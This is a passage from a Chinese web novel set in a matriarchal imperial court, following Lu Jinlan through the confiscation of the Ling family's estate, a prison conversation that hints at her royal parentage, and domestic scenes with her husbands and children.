赵祉钰皱眉道:“早不死晚不死,偏赶上咱们在这儿,死给咱们看,真是惹人厌烦。” 她挥挥袖子,让人下去。叫上项如蓁和陆锦澜,“咱们再到西院去看看吧。” 三人带着人往西院走,凌照人见她们经过,忙唤了一声:“殿下!” 赵祉钰脚步一滞,凌照人忙戴着镣铐哗啦啦膝行几步,跪到阶下。 她看着赵祉钰的背影恳求道:“大皇女殿下,请你看在咱们同窗又是亲戚的份上,帮我一个忙。” “我爹刚刚死了,我娘还在天牢,下个月就要问斩。我娘没多少日子了,现在已经入冬了,天气这么冷,天牢阴暗潮湿,我娘还有腿疾,您能不能把她常用的护膝留下?” “那不是什么名贵的物件儿,只是我第一次狩猎时打了只兔子,用兔子的皮毛给她做的。那副护膝已经很老很破,可不可以不要查抄?” 凌照人含泪恳求,赵祉钰微微侧首,瞥了她一眼,冷声道:“所有的东西已经登记,我无权做额外的处置。” 凌照人哽咽道:“只是一副护膝而已,您身为大皇女,怎么会无权做主?我知道,你恨我。以前是我不好,我轻狂傲慢,目中无人,我错了,我给你磕头赔罪。” 凌照人说着便开始磕头,“您大人有大量,别和我计较。我今日就要流放了,我娘到时候身首异处我都不能给她收尸,我只想让她上路前穿得暖和点……” 看着凌照人哭得泣不成声,额头都磕出了血,陆锦澜忍不住跟着鼻酸。 她连忙扶住她,劝道:“照人你别这样,你要保重身体。” 凌照人痛苦地摇了摇头,“我知道我平日里不招人待见,没少得罪人,我有愧于你们。可咱们朝夕相处,在一个宿舍住了那么久,就没有一丝情分吗?我也是给大家提过水取过饭的,咱们还一起打过架。锦澜,你快帮我跟殿下说说……” 想起大家在学院时的点点滴滴,陆锦澜忍不住潸然泪下。她还未求情,项如蓁已经红着眼开口:“殿下,要不……” 赵祉钰打断道:“项大人,现银钦点的差不多了,你带回户部吧,这里没你的事儿了。” 赵祉钰大步离开,项如蓁无奈地摇了摇头,凌照人靠在陆锦澜怀里绝望地闭上了眼睛。 陆锦澜用衣袖帮她擦了擦眼泪,低声道:“别哭了,也别再求了,没用的。” 凌照人目光呆滞地流着眼泪,“或许我真该像我爹那样,一了百了。” 陆锦澜急道:“别这么想,活着总比死了好。如蓁,你来劝劝她。” 陆锦澜将人交给项如蓁,一咬牙快步去了后院。 礼部的几个主事正在清点登记,陆锦澜拿过册子看了一遍,直接问:“有没有一副兔毛护膝?” 一位长着狐狸眼尖脸的年轻主事道:“回陆侯,还没清点出来。不过刚刚殿下派图大人过来说,如果找到,立刻烧了。” 陆锦闭着眼长叹一声,“何至于此。” 她打算去找赵祉钰求情,然而刚走到回廊刚才那位主事追了过来。 “陆侯,请留步。” “何事?” 那人从怀里取出一副兔毛护膝,“您是不是想要这个?” 陆锦澜一愣,“你刚才不是说没清点出来吗?” 那人无奈道:“刚刚人多,我若是说已经找到了,恐怕不想烧也得烧了。陆侯请放心,刚刚我将此物收起来的时候,无人看见。一会殿下若再派人来问,我就说没找到。” “东西那么多,一副旧护膝又不是昂贵的物件,找不到也很正常。我将东西交给陆侯,您来处置吧。” 陆锦澜忙将护膝收到袖子里,朝四周看了看,低声道:“你为什么要帮我?” 那人道:“不瞒陆侯,下官出身商贾之家,家里虽然富庶,但苦于没有关系。我进入礼部四年,一直做最低等的司务,今年才升了主事。下官自负有报国之志,苦于无人提拔。” “下官不是要陆侯徇私,只是听说您知人善用,所以想求您给个机会,能让下官证明自己。” “另外,下官还有句实话。今儿这事儿,就算是旁人想要帮忙,下官也会想办法一试的。说句僭越的话,咱们虽然身份是尊卑有别,但大家都是做女儿的,略抬抬手,成全别人一点孝心,值得。” 陆锦澜连连点头,“说得好,你叫关山月是吧?我看过你写的字,我记住你了,你去忙吧。” 关山月欣然拱手:“下官告退。” 陆锦澜绕到前院,官兵已经给凌家人戴上枷,压着往外走了。 陆锦澜追出去忽然一怔,晏无辛、孙乐闻、楚易舒、吴琼梦等许多同窗都在,大家都来送别。 楚易舒忍不住冲到队伍里,跑到凌照人身边,捧着她的枷锁怔了怔,忽然失声痛哭。 “怎么了这是?去年这个时候,咱们还在学院里上课,怎么就突然这样了?” 众人纷纷落泪,连忙将提前准备的干粮衣物送过去,让凌照人路上带着。 十七八岁的少年人,感情总是这样真挚。 天天住在一块的时候,恨不得离她远点。可真听说她遭了难,又忙不迭地过来看看。 哪怕是平日里关系一般的同学,眼见凌照人蓬头垢面、额头上还带着新伤,如此凄惨,都忍不住为她感伤。 讨厌一个人是一回事,眼睁睁看着她备受折磨生不如死又是另一回事。 晏无辛将一张银票塞到凌照人手里,“路上拿着打点,从京城到长州,长路漫漫,疏通一下,希望你能平安到达。” 凌照人点了点头,感动得说不出话。 陆锦澜拽着她的手摸了摸自己袖子里的护膝,低声道:“东西我已经拿到了,回头我帮你送去。你好好活着,以后咱们说不定还有机会见面。” 凌照人泪如雨下,“我亏欠大家太多,其实我真的想过死,但听说你为我在圣上面前求情保住我的性命,又觉得死了就欠得更多了。可惜我已经身无长物,没办法报答大家了。” 大家都道:“别想着报答了,谁图你报答?长州苦寒之地,你到了那儿,可得挺住啊。” 赵祉钰出来的时候,便见众人围着押送的队伍,她皱了皱眉,催促道:“时候不早了,上路吧。” “且等一 下!”一个熟悉的苍老的声音从马车中传来。 众人送目过去,只见院长凌知序颤颤巍巍地从车上下来,躬身行礼,“见过大皇女殿下。” 赵祉钰面色一慌,忙道:“院长,不必多礼。” 凌知序咳了两声,“老妇年迈来迟了,殿下您知道。我是凌照人的姨姥,想给她送些干粮,叮嘱几句,请求殿下恩准。” 赵祉钰无奈地叹了口气,“你都开口了,我哪有不准的道理?尽快吧,不要耽误赶路就是。” 赵祉钰说完带人走了,院长将两个包袱给了凌照人和她的家人。大家围在一块,又说了许多鼓舞的话,这才离去。 陆锦澜和项如蓁、晏无辛站在一处,一同看着流放的队伍远去。 项如蓁道:“负责押送的头目是勉州人,我的老乡。我刚和她攀谈了一会,她说她认识咱们,会关照她们的。可大皇女今天是怎么回事?怎的如此不讲情面?” 陆锦澜叹了口气,“还能因为什么?不就是记恨着上次来侯府做客的事儿吗?” 项如蓁皱眉道:“可这都过去那么久了,她心里不舒服,骂几句还不行吗?也不至于在这个时候,逼着人磕头求饶。要这么论,我和凌照人还互相捅过刀子呢,我是不是也得趁机报复她?” 晏无辛也叹了口气,“我早就说,她和咱们不一样。咱们要小心了,这位殿下心窄,只怕比皇上还容不得人。” 陆锦澜点了点头,“你们回吧,我去趟天牢,见一下定北侯。” * 陆锦澜从未见过凌之静,本也不打算见。可既然跟凌照人说了,便决定为她跑一趟。 凌之静一身囚衣,面对着墙面。上次到侯府,她不愿意露面。这一次,似乎也不愿意露面。听狱卒说,她已经不吃不喝好几天了。 陆锦澜将护膝放到牢门口,“照人说你有腿疾,让我把这个给你,上路的时候身上能暖和点。你要是没什么事,我走了。” 凌之静忽然声音沙哑的问:“已经抄家了吗?那孩子心智愚鲁,她还好吗?” 陆锦澜道:“是,今天刚刚抄完。照人还撑得住,院长和很多同学都来送她,她这会儿应该已经出了城,在流放的路上了。” 凌之静微微点了点头,“我那位正夫还挺得住吗?” 陆锦澜沉默了一下,不知道该不该实话实话。 凌之静自顾自道:“他是不是已经死了?” 陆锦澜“嗯”了一声,“今天抄家的时候,他自尽了。” 凌之静长叹一声,“我和他姐姐都对不住他,唉,也好,他先走一步。皇上那么恨我,抄家这种大快人心的事,一定让她女儿来办的,是不是?” 陆锦澜道:“是三个人一起办,大皇女、新任户部尚书项如蓁,还有我。” “你?”凌之静猛然回过头,“你是谁?” 陆锦澜道:“我也算是你的大仇人,靖安侯陆锦澜。” “不!”凌之静连忙摇头,“你不该姓陆。” 陆锦澜一愣,“你也觉得我长得像某位故人?” “是,很像。” “那你一定不肯告诉我,那位故人是谁。” 凌之静摇头,“不,我可以告诉你。”—— 作者有话说:快结局了事儿比较多,一写就收不住,抱歉又来晚啦,下次赶早~ 第106章 陆锦澜的心顿时提到嗓子眼,“那个人是谁?” “顾怀瑜。” “顾怀瑜,她有没有别的名字?”陆锦澜记得很清楚,在系统给她的记忆里,陆今朝叫那个女人飞卿。 凌之静道:“没有,顾怀瑜就叫顾怀瑜。他是个容貌出众气质脱俗,令人一见便不能忘却的男人。” “男人?”陆锦澜有些糊涂。 凌之静又道:“准确地说,你不是像一个人,你是像两个人。因为顾怀瑜有一个和他容貌相像的姐姐,叫顾飞卿。” 陆锦澜张大了眼睛愣在那里,心跳如鼓。 凌之静仰闭着眼睛,微微仰起头,回忆旧事。 苍老的声音娓娓道:“我最后一次见她们姐弟是很多年前的事,距今快有十八年了。那一年,先皇重病,诸位皇女为了争夺帝位,明争暗斗。” “先皇有二十几个女儿,某天一个最不起眼的皇女找到我,想请我和我妹妹举凌氏全族之力,扶住她登上帝位。当时跟在她身边的人,便是时任五城兵马司指挥使的顾飞卿。” 提到妹妹,凌之静不由心绪起伏。 “其实,如果皇上没有毒死我妹之冲,我也不会孤注一掷,走到今天这步。” 陆锦澜着急听身世的事儿,眼看话题要跑偏,忙道:“逝者已矣,你不要多想了。还是说回当年的事儿吧,那个找你们的皇女就是当今皇上?” 凌之静微微点了点头,“是,是她。我这几天一直在想,我真的很不服气。” “论根基,我凌家兴盛三朝,乃当世第一大族。论实力,我们都手握数十万兵马,挥手便可兴兵讨伐。可偏偏让她得了你这员神将,为她逆转危局,反败为胜。” “你说,上天为什么待我如此不公?我到底输在哪里?” 陆锦澜叹了口气,看来不帮她解开这个心结,她是不肯往下说了。 陆锦澜道:“我帮你复盘分析,你把你知道的都告诉我,行吗?” 凌之静晦暗的眼眸忽然一亮,“好啊,我正好想听听你对我和皇帝的看法。” 陆锦澜想了想,“其实,我对你们都没有很深的接触。但从一些事上看,我实话说啊,你别嫌难听。我觉得,你们都不是什么好人。” 凌之静噗嗤一笑,“一语中的,说得对,继续往下说。” 陆锦澜道:“你说当年是你们凌家鼎力相助,助皇上登上帝位。在乾坤未定前,你们一起干了掉脑袋的事儿,虽然其中一定涉及到许多利益交换,可也是并肩作战,理应彼此信任。” “但在尘埃落定后,你们显然出现了分歧。互相怀疑、猜忌、防备、作对,甚至斗到把国土和百姓都拿来牺牲。这非为君之道,更不是为臣之道。” 凌之静深吸一口气,“当年我们谈了许多交换条件,举事前她承诺的事,登基后却反悔了。” 陆锦澜道:“我虽然不知道你们具体谈了什么条件,但据我观察,你们凌家的势力实在太大了。拥兵自重,凌家军只听你的命令却不听皇上的命令。” “她身为帝王,好不容易爬到那个最高位置,一转头却发现她的权力被架空了,她怎么受得了?必然是要清算的。” 凌之静冷笑一声,“如果架空她的权力就要她清算,那她要清算的,何止我一个?” 陆锦澜道:“那她一定是有多少个清算多少个,只看她有没有机会。” “在你这件事上,也许你觉得是她不守信用在先,你心里有怨气,所以在许多事上和她较量。” “你在不断提醒她,你有跟她对抗的实力。也许你心里始终瞧不起她,你觉得当年要没有你,她根本当不了皇帝。” “ 但是你忽略了最重要的事,那就是情况已经变了。她已经当上了皇帝,是九五之尊,万人之上。” “你还在为当年的事儿愤愤不平,可是新的局面已经开始了。你不臣服,就要付出代价。” “她那样的人,能允许你一次一次挑战她的皇权吗?” 凌之静低下头,沉默不语。 陆锦澜又道:“你刚刚说,不知道自己输在哪里。我觉得你输在很多地方,比如,你太意气用事。那次请我们吃饭,你明知道大皇女也在其中,还故意失礼。她和她母亲一样,都受不了这种冷待。” “很多事看似是小事,但也能像针尖似的,扎到人心里,让人家记恨至今。” “我虽然年纪小,但也晓得为人处事的大忌,便是从来只考虑自己,从不考虑别人。” “其实,你不那么做,根本不影响你什么,可你偏偏要那么做。你受不了被你扶上高位的人,在你面前高高在上。” “可人家也受不了你,你总是摆出一副‘没有我你哪有今天’的态度。你说如果你是皇帝,你会允许这样的人存在吗?” 凌之静看向她,“你是说我输在态度上?” 陆锦澜摇头,“也不是,那只是争斗的起因,并不能左右结果。我认为你输在两点,一是用人不善,二是通敌。” “我发现你特别喜欢重用你们家亲戚,亲戚若是个好样的,用了就用了,但我看你用的人也不怎么样。你不在军中,派去的将领也不行,能赢就怪了。” “当然第二点才是重点,通敌这件事你不该做。看似是拿捏住了皇上,其实是寻了条绝路。” “那些士兵都是有眼睛的,你不能把她们当傻子。卖国能引起人神共愤,一旦大家看明白这一点,她们还会为你奋力厮杀吗?” 凌之静眉头紧锁,“我那时……我那时走投无路了。她逼得我没有办法,我妹已死,下一个就是我。” 她揉了揉眉心,“这么说,我从一开始,进退失据,就进入了一个必输的局?” 陆锦澜道:“也不一定,只是进的时机不好。一开始进退失据,后来是进退游移。不甘心退一步,又没决心进一步,一拖拖了十七八年。如果你早下决断,未必是这个结果。” 凌之静诧异地看向她,嘴角漾起一丝赞赏的笑意,“你还真是能站在别人的立场思考问题,说得对啊!进退游移错失良机,最后反而落得进也不能进,退也不能退,以至于奋力一搏还是一败涂地。” 她顿了一下,忽然问陆锦澜:“如果你是我,是不是早就反了?” 陆锦澜抱着牢门上铁栏杆认真想了想,“不一定,如果没有必胜的把握,我才不趟这浑水呢。押上身家性命,去赌一个不确定的结果,犯得着吗?” “又不是活不起了,光脚的不怕穿鞋的。那样的话,就是舍得一身剐,敢把皇帝拉下马,赌就赌了。可干嘛放着好日子不过,提着一家老小的脑袋去赌命呢?” 凌之静笑着摇头,“如果有一个做皇帝的机会摆在你面前,你能不为所动吗?” 陆锦澜道:“那要看需要我付出多大的代价,称帝之路,必然要踏过尸山血海。当皇帝固然好,但是命运不可能无端馈赠厚礼,必然需要我用什么来交换。” 凌之静点头,“没错,如果让你用家破人亡和众叛亲离来换取皇位,你换不换?” “不换!”陆锦澜笃定的回答,随即不甘的质问:“凭什么?我才不要失去我的家人和朋友。没有什么值得让我用让现在珍视的一切去交换,我不换!” 凌之静长叹一声,“你想得很明白,但恐怕命运有的时候不给你选择的机会。” “听你一席话,我想明白了很多事情。可我还是不服,她无非是比我运气更好一些。可她那样的人,有什么值得我臣服的?再来一次,我还是要和她死磕到底。” “她是个野心勃勃利欲熏心的人,为了得到至高无上的权力,不惜交换任何东西,包括亲情、友情、爱情,甚至是心爱之人的性命。她算什么英雌?我只承认我有一点不如她,那便是她拥有一个好女儿。” 陆锦澜心想:赵祉钰也没比凌照人好到哪儿去,你这看人的眼光也不怎么样。 却听凌之静又道:“我不是说赵祉钰,她有什么好的?读书的确不错,也颇具才干。但我冷眼瞧着,她只能称得上工于心计,狠辣有余,度量不足。有短智,而无大智。” “格局、胆识、气魄,还不如她娘,更比不上你。她做个权臣尚可,做皇帝没有人约束,只怕要成为暴君。” 陆锦澜头靠在栏杆上默默听着,话题越扯越远,她还在焦急地等凌之静回到正题。 然而当凌之静用一种极其复杂的眼光看向她时,她忽然感觉到脊背一阵发凉。某种可能,在她脑海里跳了出来。 “你……你刚才说的不是赵祉钰,还能是谁?” 凌之静:“你说呢?” 陆锦澜心里咯噔一下,“我娘……我娘难道姓赵?” 凌之静轻叹道:“我最后一次见顾怀瑜的时候,他挺着大肚子,就快生了,你的生辰应该在六月。” 陆锦澜紧握着栏杆,急切地问:“我娘是不是当今皇上?” 凌之静道:“可能是,也可能不是。” 陆锦澜急道:“您别给我这种模棱两可的回答,我要听实话。” 凌之静叹了口气,“顾怀瑜是她的正夫,你应该是她的女儿,可是你的品行一点也不像她。你这么有情人味儿,实在跟姓赵的扯不上一点关系。” “想必你已经见过她了,她一定比我清楚,你是不是她的女儿。可她没打算认你,你又何必执着?” 陆锦澜抿了抿唇,“她不认我,我也不认她。但我想知道当年的真相,我的……生父是怎么死的?是不是有人追杀我的姑母,还有刚出生的我?” 凌之静摇头,“你要真相有什么用呢?你刚刚说得明白,你珍视现在拥有的一切。你既然无心帝位,就不要认她,更不要追查当年的真相。否则,你会失去很多很多,你一定会后悔的。” “我原本是打算把一切都告诉你,但跟你谈了这么多,我反而改变了主意。我听说你曾为我女儿求情,我感激你的这份善心。你是个性情中人,我不想害你。” “你别再问,也别再来。今天见过我的事,最好不让人任何人知道,以免惹来灾祸。” 陆锦澜不甘心,又跟她耗了一会儿,但凌之静一言不发,已经决意要把秘密带到坟墓里了。 牢头前来催促,“陆侯,走吧,时候已经不早了。我放您进来是违规的,让人发现了,我也得吃不了兜着走。” 陆锦澜点了点头,从身上摸出两张银票塞给她。 牢头忙推拒道:“陆侯客气了,小的放您进来存粹是仰慕您的威名,不图这个。” 陆锦澜道:“拿着吧,算我请你喝酒的。我来的事别说出去,另外……” 她瞥了眼凌之静,对牢头道:“这人快要走了,她一把年纪,你给她弄点好吃好喝,别让她再遭罪了。” 牢头忙道:“那小的就收着了,您放心吧,这儿我说得算。” * 陆锦澜从天牢出来,一时五内惶惶,竟然不知道该去哪儿。 她想找陆今朝追问当年的事,也想过找赵敏成当面对质,可她最终还是决定把这个秘密咽到肚子里,守口如瓶。 她骑马到了郊外,在寂静无人的山林里躺了一下午。 她让系统循环播放那段久远的记忆,看着顾飞卿带着襁褓中的自己跟追杀她的人以命相搏,陆锦澜内心万分挣扎。 她很想知道,顾飞卿当年舍命护着她,用尽最后一丝力气将她送到陆今朝手中,心里到底怀着怎样的期望? 是希望这个孩子长大之后为顾家姐弟报仇?还是希望她能平平安安的过完这一生? 凌之静应该不会骗她,人之将死其言也善,没有骗她的理由。 凌之静让她不要追查的当年真相,是不是意味着真相涉及到的人,就在自己身边? 如果家破人亡众叛亲离的预言是真的,那就说明对方位高权重。 她已经是靖安侯了,在她之上的人就那么几个,有谁能让她家破人亡众叛亲离呢? 是不是赵敏成?还是别的,位高权重的人? 陆锦澜不敢再往下想,太阳西斜,日暮落下,天已经暗了下来。 她该回家了,家里老老小小,都等着她回去。 陆锦浑浑噩噩的回到忠勇园,一进门忽然听到嘭一声响—— 作者有话说:勿慌勿慌~我说快大结局,不是立刻结局,月底差不多正文完结。这是最后一个副本了,不想剧透,只能说会发生很多很多的事儿,请大家谨记我们是HE,爽文,过程可能曲折,但结局一定是好的。多了不方便说,总之,大家要坚信这点。正文完结之后,会有一些番外内容。因为最后一个副本,正经事比较多,前面埋下的伏笔都想收回来,很多时候插不进不正经的内容。但是番外我已经想好了,通俗的说,打了这么多年仗,咱还不能好好享受享受吗?忙完了正事儿,务必展示一下极致享受的帝王生活。汇报完毕,接下来我将保持静默。各位安心,我先退下了。 第107章 陆锦澜脸色一变,一道焰火直冲天际。 萧衡急忙跑过来,看着她的神色,紧张道:“没吓到你吧?我……我看你这几天忙忙碌碌的,不怎么高兴,就买了点烟花,想给你个惊喜……” 萧衡越说越心虚,“你要是不喜欢咱就不玩了,我也觉得挺……挺幼稚的。” 他说着便把烟花往地上丢,想踩灭了它。 陆锦澜正想疏散心中的沉闷,此刻忙道:“别踩,给我几个。买了多少?都拿出来吧,把孩子们也抱出来,大家一起热闹热闹。” 萧衡松了口气,笑道:“买了好多呢,过年的烟花都有了。” 他连忙张罗着让人摆到院子里,凛丞、雨眠、七郎一个个闻声出来。 奶爹们也不知道为什么要抱孩子过来干什么,反正听说侯君要看孩子,连还在睡觉的都从被窝里拎出来,裹得严严实实的,抱到院子里。 陆锦澜四个夫郎,五个孩子,加上一大堆奶爹仆从,一转眼就站了一院子人,热闹极了。 嘭!嘭!嘭!无数的焰火升入夜空,热烈又绚烂。 最大的孩子已经认人了,陆安东在雨眠怀里挥舞着手臂,跟忽闪着小翅膀一样,要找陆锦澜抱。 雨眠笑道:“侯君快抱抱她,一天没见你,她可想你了。别看她小小的人儿,话都不会说,脑子里聪明着呢,像极了她娘。” 陆锦澜接过孩子,便听见萧衡冷哼一声。 他顶看不惯雨眠的做派,动不动就拿孩子做借口,整日往陆锦澜身上贴。 这会儿萧衡便阴恻恻道:“是像她娘吗?我看更像她爹,大眼睛滴溜溜转,一肚子心眼子。” 众人哈哈大笑,雨眠不甘示弱,阴阳怪气的回道:“我们的孩子自然像我们俩,不知道你生的孩子是更像曲国人还是嬅国人呢?好歹你先生一个出来,再评判我们东儿吧。” 萧衡气了个倒仰,急得直拽陆锦澜的衣服,“你看看他,跟我没大没小的,笑话我生不出孩子。” 陆锦澜笑了笑,凑到他耳边低声道:“那你争口气,赶紧生一个。” 萧衡气恼地白了她一眼,“我两三天都抓不着你影儿,我自己怎么生?” 陆锦澜笑道:“今晚上我去你那儿,咱们好好努力,明年你准能生出个大胖丫头。” 萧衡眼睛一亮,“说话算话,今晚上你要是跑到别人屋里去,我就跟他打一架。” 凛丞见两人凑在一块低头耳语,便不动声色的靠过来,拍了拍陆锦澜的背,“你上哪儿去了?瞧,衣裳都蹭脏了。我让人新给你做了几件冬衣,昨儿刚做好,一会儿你去我那儿试试。” 萧衡忙道:“送到我那儿去吧,妻主今儿去我院里。” 凛丞看了陆锦澜一眼,对萧衡道:“那我一会就让人送过去,难得妻主想去你那儿,你机会不多,好好伺候吧。” 家里男人多,平日里就爱争风吃醋。 他俩在这儿互相挤兑,陆锦澜赏着烟花,竖着耳朵偷听,也没留意怀里的安东在她身上摘了片枯叶,默默往嘴里塞。 陆今朝带着夫郎严氏赶过来的时候,正瞧见这一幕。 严氏“哎呦”一声,气道:“你瞧你们这些当爹的,是怎么看孩子的?这孩子吃树叶子了,还在那儿看热闹呢?” 雨眠惊呼一声,连忙把树叶子往外抠,偏偏安东不松口,一群大人围着她着急,她却叼着树叶咯咯咯地笑了起来。 严氏又把男人们一通数落,“孩子这么小,眼睛得时时刻刻盯着。交给她娘就不管了?她一个女人,她哪会带孩子?你们这一天天的,又不用你们去忙家国大事,带个孩子都带不好。” 他说这话的时候,焰火还在嘭嘭嘭的升天。杂音很大,他只能扯着嗓子越说越大声。 大家想笑又只能憋着,一个个憋红了脸。 陆锦澜笑道:“爹,别生气了,树叶又没毒,没事的。看焰火吧,你看焰火多漂亮。” 严氏这才住了口,陆今朝站在陆锦澜身侧,见她眉宇间似有愁绪,不由问道:“是不是发生什么事了?” 陆锦澜忙道:“没什么事。” 陆今朝又问:“那今天是什么日子?你让人放焰火,总得有个缘故吧,是庆祝什么喜事吗?” 陆锦澜看着夜空里的繁花,想了想,“今儿是个平平常常的日子,可平平常常的日子不就是好日子吗?” “就当庆祝咱们家宅平安吧,您和爹身体康健,孩子们都无病无灾,夫郎们也很贴心。咱们一家人在一起,多好啊。” 陆锦澜说到这儿,长叹一声,“大家许个愿吧,就愿我们年年岁岁有今日,岁岁年年有今朝。” 严氏嗔道:“你这孩子,也不知道避你娘的名讳。哎呀,你这衣裳怎么弄的?瞧瞧瞧瞧,这衣裳都脏了,怎么没给人给她换?你们都是怎么伺候的?” 严氏自从做了个公爹,越发公公爹爹了。爱念叨,动不动就训斥几个夫郎照顾得不周到。 陆锦澜笑道:“爹你别念叨了,我这就去换。换完咱们吃饭,我肚子都饿了。” 严氏忙道:“那快摆饭吧。你前几日不念叨着要吃火腿吗?邹管家费了好大的工夫,买到了一条正宗的江南火腿,据说是腌制了整整五年的上等货色。我看了,那火腿红白分明色泽鲜亮,鲜香味儿都冲鼻子。” “肉少的部分,爹让厨房做了火腿冬瓜汤。肉多的部分,切成薄片,做成清蒸火腿肉。还做了火腿板栗鸡、火腿炒笋片,还有你最爱的炖笃鲜。咱们今儿,吃火腿宴。” 陆锦澜换了衣服洗了手,捧着热乎乎香喷喷的火腿冬瓜汤望向窗外,外面刚好下起了第一场 雪。 瑞雪兆丰年,她想,她一定能让大家的日子越过越好。 * 窗外下了一夜的雪,陆锦澜和萧衡胡闹了一夜。 到了该上朝的时候,萧衡强撑着眼皮将陆锦澜推醒,“妻主,起来吧,该上朝了。” 陆锦澜眼睛掀开一条缝,一看外面黑漆漆的,一想雪路难行,便不想起。 她做了一夜的梦,这会儿脑子里乱糟糟的,心绪烦乱,干脆道:“不去了,身上难受,让洗墨去帮我告假。” 萧衡一摸她额头,“哎呦”一声,“怎么这么热?糟了,定是染了风寒。” 他忙对外面道:“快叫人去久安堂,请医师过来给侯君瞧瞧。” 陆锦澜一把将他拉回被窝,“天都没亮呢,嚷嚷什么?陪我继续睡,不要张扬。” 陆锦澜不想张扬,是因为她知道自己没什么病。顶多是昨日在山上躺得久了,着了凉,有一点点发热。 系统商城里有退烧药,换一粒吃了也就没事了。 可她不想没事,一下子得知了自己的身世,她还没缓过劲儿,有很多问题没想通,干脆趁这个由头偷偷懒,在家躺几天。 但别人可不是这么想的,家里人一听她病了,都急得团团转。 陆锦澜还睡着,迷迷糊糊的听见严氏把萧衡叫出去,兴师问罪。 他认定是萧衡勾着陆锦澜胡闹,才让她生了病。萧衡心虚,生怕真是这个缘故,也不敢分辩,只是一个劲儿的掉眼泪。 陆锦澜无奈地踹了踹被子,“爹!你在外面嘀咕什么呢?” 严氏红着眼进来,“醒了?身上觉得怎么样?” “没什么事,一点风寒,我就是想正好偷个懒。” 严氏不信,坐在床边,开始抹泪哭诉。 “你小时候生过几场大病,差点把我和你娘吓死。你以前身子一直不太好,这几年好不容易习了武,身体健壮起来,偏娶了这些个不安分的。” “我早就劝你娶个年龄大些的,会照顾人。最好是性子沉静的,不爱折腾。你偏不听,你瞅瞅家里这几个,除了凛丞,没一个老实的,恨不得天天跟你胡闹,也不劝你保养。长此以往,你这身子会垮掉的。” 陆锦澜听着闹心,“爹,你扯哪儿去了?我壮得跟牛似的,怎么垮掉了?我好不容易休息,您让我消停睡会儿行不行?” 严氏擦了擦眼泪,“那你睡吧,爹去给你张罗些药膳,你醒了吃。” 陆锦澜好不容易又睡过去,约莫着也就过了两个多时辰,忽然感到有一双冰凉的手故意摸她的脸。 陆锦澜气得咬牙,心说:这是谁这么放肆?我今儿非发火不可! 她抓住那只手猛地睁开眼,一看是晏无辛,旁边还有项如蓁,两人正笑吟吟的看着她。 外面的雪还没停,两人一身寒气,大概是冒雪过来的,脸都被寒风吹红了。 陆锦澜一笑,惊喜道:“你们怎么来了?” 晏无辛笑道:“我们来探病,不过我们来得急,一下朝就赶过来了,可没空给你买果子,就空手来的。说起来,我这肚子还饿着呢,你这儿有吃的没有?” “有有有!”陆锦澜一边招呼她们坐下,一边让人拿吃的来。 晏无辛和项如蓁是陆府的常客,出来进去,跟自己家一样,大家都用不着客气。 陆锦澜穿着寝衣披着被子,无奈道:“昨儿做了一宿的梦,早上身上有点热,我就想在家躲几天清净。没想到,倒把你们两位二品大员给惊动了。你们应该了解我啊,我几时生过病?用得着大雪天跑过来?” 项如蓁道:“就是因为你从来不生病,我们才怕你真的病了。不过,惊动我们算什么?皇上没看见你都问怎么了。听说你病了,便让御医过来给你瞧瞧。估摸着,御医一会儿就到了。” 晏无辛道:“下朝的时候,皇上把你那位上司罗大人留下来问话,我猜八成与你有关。她肯定以为罗大人是老臣,私下说不定给你气受,把你气病了。” 陆锦澜笑着摇头,“这位罗大人虽然是老臣,但一直是明哲保身两不相帮,谁都不得罪的。咱们新旧两派斗得如火如荼,她却从来没针对过我,很好说话。” 三人聊了一会儿,御医来把了脉,明明脉象沉稳蓬勃有力,陆锦澜却嚷着身上难受。 这种装病的伎俩,宫里的小主常用,为的是博取恩宠。骤然遇到一个正当红的侯君装病,御医虽然惊讶,但也只能照章办事,说是凉气入侵,需要修养几日,开了几副补药了事。 萧衡被剥夺了照顾陆锦澜的资格,严氏把凛丞和七郎换过来,轮流照顾着。 通红的炭火和地龙,将屋子烘得热乎乎的。 陆锦澜懒洋洋地往柔软的大床上一躺,终日胡思乱想。 无人的时候,陆锦澜问七郎,“你想不想当皇上的男人?” 七郎一惊:“你不要我了?” 陆锦澜笑道:“不是,我的意思是你希不希望我飞黄腾达,地位越来越高,甚至高到不能再高了。” 七郎想了想,“你现在还不算飞黄腾达吗?已经是高得不能再高了。再说了,那皇位怎么也轮不到你啊。” 陆锦澜瞥了他一眼,“你这是夫道人家的愚见,怎么不能轮到我?王侯将相宁有种乎?” 何况,她还能扯上点血缘关系。当然了,人家不认,她现在只能算是私生龙种。 七郎沉默着琢磨了一会儿,“那你看着办吧,反正我是你的人。嫁鸡随鸡嫁狗随狗,你要过什么样的日子,我就跟你过什么样的日子。风光的日子一起风光,落魄的日子一起落魄。就算上了断头台,我也陪着你。” 陆锦澜动容地握住他的手,安慰道:“不会的,你别担心,我就那么一说。母父年纪大了,孩子们还那么小,我不会任性的。” 七郎将被子压在两人身上,用力地抱住她,悄声道:“我没见过皇上,也不知道皇上是什么样。就算有一天遇上了,我恭敬跪拜口称万岁,心里也只把她当成一个穿龙袍的女人。” “可你不一样,就算你不穿龙袍,我也知道你是天下间最有本事的女人。你就是我的皇上,我真心希望你万岁、万岁、万万岁。” 陆锦澜搂着他,闭上了眼睛,“我知道了,睡吧,今晚我一定能做个好梦。” 次日,陆锦澜刚醒,凛丞已经在床边守着了。 凛丞给她端了杯热茶,温声道:“礼部派人来了,在外面等着呢。说有几个件事,她们商议不定,想让你拿个主意。” 陆锦澜一愣:“有罗大人在,问她就是了。” 凛丞道:“我见你还睡着,原本也打算替你这么回。我说‘我家侯君病着,有事自有尚书大人定夺’,可来人说罗尚书告老还乡了,所以她们才来找你。” 陆锦澜想了想,大概是皇上把罗大人给吓住了。朝上争斗这么激烈,人家怕惹事上身,干脆不趟这趟浑水了。 陆锦澜沉思片刻,“把我的礼部左卿官印交给来人,让她转交给礼部主事关山月。就说我说的,一切事宜,让关山月拿我的印斟酌行事。办好办不好的,等我病好了找她过问,到时候自有论断。” 凛丞笑道:“可巧,来的人里正有一位姓关的主事,我这就去跟她说。” “等一下!”陆锦澜忽道:“你今日是不是要去慈安寺?” “是,我想去给你祈福,怎么了?” 陆锦澜道:“我这几日睡不安稳,有一件事,我不方便出面,更不方便找别人。思来想去,只能让你替我去办。” 凛丞道:“我办事你还不放心吗?我们是妻夫。家国大事我帮不上你,也只能在一些小事上帮你分忧。你想要做什么,放心交给我。” 陆锦澜招了招手让他过来,两人耳语了一阵,陆锦澜又叮嘱道:“此事一定要办得机密,不要告诉任何人。” 凛丞连连点头,“你放心。” 